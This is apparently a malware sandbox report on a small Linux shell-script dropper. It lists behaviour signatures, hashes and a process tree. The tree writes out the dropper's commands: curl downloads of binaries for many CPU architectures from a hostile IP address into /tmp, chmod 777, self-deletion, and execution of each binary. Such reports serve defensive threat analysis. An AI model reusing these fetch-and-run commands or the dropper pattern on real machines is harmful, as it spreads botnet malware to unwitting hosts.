Overview

overview

7

Static

static

1

e735ad2937...d1c.sh

ubuntu-18.04-amd64

7

e735ad2937...d1c.sh

debian-9-armhf

7

e735ad2937...d1c.sh

debian-9-mips

e735ad2937...d1c.sh

debian-9-mipsel

Analysis

  • max time kernel
    14s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/08/2026, 13:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
  • Size 979B
  • Sample260809-p896wsfk9x
  • SHA256 e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 11 IoCs
  • Unexpected DNS network traffic destination 5 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
    /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
    1⤵
    • Executes dropped EXE
    PID:1504
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm -o /tmp/arm
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm5 -o /tmp/arm5
      2⤵
      • Writes file to tmp directory
      PID:1515
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm6 -o /tmp/arm6
      2⤵
      • Writes file to tmp directory
      PID:1516
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm7 -o /tmp/arm7
      2⤵
      • Writes file to tmp directory
      PID:1517
    • /usr/bin/curl
      curl http://43.98.174.233/release/mips -o /tmp/mips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:1518
    • /usr/bin/curl
      curl http://43.98.174.233/release/mpsl -o /tmp/mpsl
      2⤵
      • Writes file to tmp directory
      PID:1519
    • /usr/bin/curl
      curl http://43.98.174.233/release/ppc -o /tmp/ppc
      2⤵
      • Writes file to tmp directory
      PID:1520
    • /usr/bin/curl
      curl http://43.98.174.233/release/x86_64 -o /tmp/x86_64
      2⤵
      • Writes file to tmp directory
      PID:1521
    • /usr/bin/curl
      curl http://43.98.174.233/release/x86 -o /tmp/x86
      2⤵
      • Writes file to tmp directory
      PID:1522
    • /usr/bin/curl
      curl http://43.98.174.233/release/spc -o /tmp/spc
      2⤵
      • Writes file to tmp directory
      PID:1523
    • /usr/bin/curl
      curl http://43.98.174.233/release/m68k -o /tmp/m68k
      2⤵
      • Writes file to tmp directory
      PID:1524
    • /bin/chmod
      chmod 777 /tmp/arm /tmp/arm5 /tmp/arm6 /tmp/arm7 /tmp/config-err-6cG03T /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh /tmp/m68k /tmp/mips /tmp/mpsl /tmp/netplan_1n6evfg1 /tmp/ppc /tmp/snap-private-tmp /tmp/spc /tmp/ssh-4D8HiXqKgwqr /tmp/systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 /tmp/systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S /tmp/systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 /tmp/systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg /tmp/systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-SYGk7C /tmp/x86 /tmp/x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:1525
    • /bin/rm
      rm -f /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
      2⤵
        PID:1537
      • /tmp/x86_64
        /tmp/x86_64 aterna
        2⤵
          PID:1533
        • /tmp/x86
          /tmp/x86 aterna
          2⤵
            PID:1534
          • /tmp/spc
            /tmp/spc aterna
            2⤵
              PID:1535
            • /bin/sh
              /bin/sh /tmp/spc aterna
              2⤵
                PID:1535
              • /tmp/ppc
                /tmp/ppc aterna
                2⤵
                  PID:1532
                • /tmp/mpsl
                  /tmp/mpsl aterna
                  2⤵
                    PID:1531
                  • /tmp/m68k
                    /tmp/m68k aterna
                    2⤵
                      PID:1536
                    • /tmp/mips
                      /tmp/mips aterna
                      2⤵
                      • System Network Configuration Discovery
                      PID:1530
                  • /tmp/arm7
                    /tmp/arm7 aterna
                    1⤵
                      PID:1529
                    • /tmp/arm
                      /tmp/arm aterna
                      1⤵
                        PID:1526
                      • /tmp/arm6
                        /tmp/arm6 aterna
                        1⤵
                          PID:1528
                        • /tmp/arm5
                          /tmp/arm5 aterna
                          1⤵
                            PID:1527

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                arm
                                • Path /tmp/arm
                                • Size 733KB
                                • SHA256 99c11447a1238a6391b69d113124034bf106cf78b1751dfacaf7181ce803f88e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                arm6
                                • Path /tmp/arm6
                                • Size 569KB
                                • SHA256 94ca187d2680779089c15de5cb075c8368a033914ed3d960b2cd7b82e7553fbc
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                m68k
                                • Path /tmp/m68k
                                • Size 646KB
                                • SHA256 8dfd5cefc9c20988abb1188f250724f4fa3f46f74f1e4e8c0569b38cb0320d93
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                mips
                                • Path /tmp/mips
                                • Size 802KB
                                • SHA256 311ac74c800cd4ce5bcc16210127e7b7a8522253f34d4d4f0f4007365fad856a
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                mpsl
                                • Path /tmp/mpsl
                                • Size 806KB
                                • SHA256 4f62a3aa1521c2e198cd37fafbac3706148116ccba9d897965b0b7c90e12d8eb
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                ppc
                                • Path /tmp/ppc
                                • Size 908KB
                                • SHA256 c7f9cdd6d85285ab85056ce7a49fa087b5f56dab68beae6a3ebb0d6c538080b7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                spc
                                • Path /tmp/spc
                                • Size 275B
                                • SHA256 0dfbe8f3973984d3a4268249dc1764e820ca1a947a419fddd09cc2b1ca327985
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                x86_64
                                • Path /tmp/x86_64
                                • Size 1.1MB
                                • SHA256 809ea6ebd9a87909a033616519d3c7d596b25136662da8a496ad971dbde62cf2
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download